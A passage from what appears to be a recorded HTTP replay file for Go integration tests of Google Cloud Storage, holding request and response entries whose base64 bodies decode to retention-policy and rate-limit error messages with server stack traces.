sb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDYW5ub3QgcmVkdWNlIHJldGVudGlvbiBkdXJhdGlvbiBvZiBhIGxvY2tlZCBSZXRlbnRpb24gUG9saWN5IGZvciBidWNrZXQgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNycuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE5IG1vcmVcbiwgZXJyb3JQcm90b0NvZGU9Rk9SQklEREVOLCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9Q2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9Q2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IENhbm5vdCByZWR1Y2UgcmV0ZW50aW9uIGR1cmF0aW9uIG9mIGEgbG9ja2VkIFJldGVudGlvbiBQb2xpY3kgZm9yIGJ1Y2tldCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3Jy46IGNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBDYW5ub3QgcmVkdWNlIHJldGVudGlvbiBkdXJhdGlvbiBvZiBhIGxvY2tlZCBSZXRlbnRpb24gUG9saWN5IGZvciBidWNrZXQgJ2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNycuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlVwZGF0ZUFuZFBhdGNoQnVja2V0LnVwZGF0ZUJ1Y2tldChVcGRhdGVBbmRQYXRjaEJ1Y2tldC5qYXZhOjExOSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLlBhdGNoQnVja2V0LnBhdGNoQnVja2V0KFBhdGNoQnVja2V0LmphdmE6MTk2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuUGF0Y2hCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFBhdGNoQnVja2V0LmphdmE6MTQxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuUGF0Y2hCdWNrZXQuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFBhdGNoQnVja2V0LmphdmE6NDYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkJ1Y2tldHNEZWxlZ2F0b3IudXBkYXRlKEJ1Y2tldHNEZWxlZ2F0b3IuamF2YToxMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IENhbm5vdCByZWR1Y2UgcmV0ZW50aW9uIGR1cmF0aW9uIG9mIGEgbG9ja2VkIFJldGVudGlvbiBQb2xpY3kgZm9yIGJ1Y2tldCAnZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3Jy5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTkgbW9yZVxuXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAzLCJtZXNzYWdlIjoiQ2Fubm90IHJlZHVjZSByZXRlbnRpb24gZHVyYXRpb24gb2YgYSBsb2NrZWQgUmV0ZW50aW9uIFBvbGljeSBmb3IgYnVja2V0ICdnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcnLiJ9fQ==" - } - }, - { - "ID": "a8964565736a4805", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "106" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwicmV0ZW50aW9uUG9saWN5Ijp7InJldGVudGlvblBlcmlvZCI6IjkwMDAwIn19Cg==" - ] - }, - "Response": { - "StatusCode": 429, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12201" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:04 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrNbiNCNtu8DhS-gNXfoe4R9DFKEVzknZ0g6YoI0JdvwH6P199oVJ2oaJwh9WXMte6frhDr_vJo1_PlxLhezMnUTJzMYZgPlPWdU1QN9imk3hXgawE" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6InVzYWdlTGltaXRzIiwicmVhc29uIjoicmF0ZUxpbWl0RXhjZWVkZWQiLCJtZXNzYWdlIjoiVGhlIHByb2plY3QgZXhjZWVkZWQgdGhlIHJhdGUgbGltaXQgZm9yIGNyZWF0aW5nIGFuZCBkZWxldGluZyBidWNrZXRzLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVRPT19NQU5ZX1JFUVVFU1RTLCBjYXRlZ29yeT1RVU9UQV9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpQUk9KRUNUX0JVQ0tFVF9PUF9SQVRFX1RPT19ISUdIOiBDcmVhdGluZyBidWNrZXRzIHRvbyBxdWlja2x5LCBwbGVhc2Ugc2xvdyBkb3duXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5idWNrZXRzLkluc2VydEJ1Y2tldC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0QnVja2V0LmphdmE6MTg0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmJ1Y2tldHMuSW5zZXJ0QnVja2V0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRCdWNrZXQuamF2YTo0Milcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQnVja2V0c0RlbGVnYXRvci5pbnNlcnQoQnVja2V0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphd